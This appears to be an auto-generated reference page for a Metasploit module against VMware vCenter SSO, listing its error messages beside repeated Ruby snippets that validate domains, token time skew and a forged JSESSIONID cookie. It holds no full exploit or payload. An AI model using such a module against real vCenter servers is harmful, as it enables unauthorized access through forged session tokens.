372:	    "JSESSIONID=#{@vcenter_saml_token}; Path=#{@vcenter_saml_path}"
373:	  end
374:	
375:	  def validate_domains
376:	    unless validate_fqdn(vcenter_fqdn)
377:	      fail_with(Msf::Exploit::Failure::BadConfig, "Invalid vCenter FQDN provided: #{vcenter_fqdn}")
378:	    end
379:	
380:	    unless validate_fqdn(domain)
381:	      fail_with(Msf::Exploit::Failure::BadConfig, "Invalid vCenter SSO domain provided: #{domain}")
382:	    end

Invalid vCenter SSO domain provided: <DOMAIN>


Here is a relevant code snippet related to the "Invalid vCenter SSO domain provided: <DOMAIN>" error message:

376:	    unless validate_fqdn(vcenter_fqdn)
377:	      fail_with(Msf::Exploit::Failure::BadConfig, "Invalid vCenter FQDN provided: #{vcenter_fqdn}")
378:	    end
379:	
380:	    unless validate_fqdn(domain)
381:	      fail_with(Msf::Exploit::Failure::BadConfig, "Invalid vCenter SSO domain provided: #{domain}")
382:	    end
383:	  end
384:	
385:	  def validate_timestamps
386:	    unless (vc_token_before_skew >= 300) && (vc_token_after_skew >= 300)

Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be less than 300 seconds


Here is a relevant code snippet related to the "Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be less than 300 seconds" error message:

382:	    end
383:	  end
384:	
385:	  def validate_timestamps
386:	    unless (vc_token_before_skew >= 300) && (vc_token_after_skew >= 300)
387:	      fail_with(Msf::Exploit::Failure::BadConfig, 'Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be less than 300 seconds')
388:	    end
389:	    unless (vc_token_before_skew <= 2592000) && (vc_token_after_skew <= 2592000)
390:	      fail_with(Msf::Exploit::Failure::BadConfig, 'Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be greater than 2592000 seconds')
391:	    end
392:	  end

Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be greater than 2592000 seconds


Here is a relevant code snippet related to the "Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be greater than 2592000 seconds" error message:

385:	  def validate_timestamps
386:	    unless (vc_token_before_skew >= 300) && (vc_token_after_skew >= 300)
387:	      fail_with(Msf::Exploit::Failure::BadConfig, 'Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be less than 300 seconds')
388:	    end
389:	    unless (vc_token_before_skew <= 2592000) && (vc_token_after_skew <= 2592000)
390:	      fail_with(Msf::Exploit::Failure::BadConfig, 'Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be greater than 2592000 seconds')
391:	    end
392:	  end
393:	
394:	  def validate_fqdn(fqdn)
395:	    fqdn_regex = /(?=^.{4,253}$)(^((?!-)[a-z0-9-]{0,62}[a-z0-9]\.)+[a-z]{2,63}$)/

Go back to menu.


No network connection to Github.

References


See Also


Check also the following modules related to this module:

Authors


npm[at]cesium137.io

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.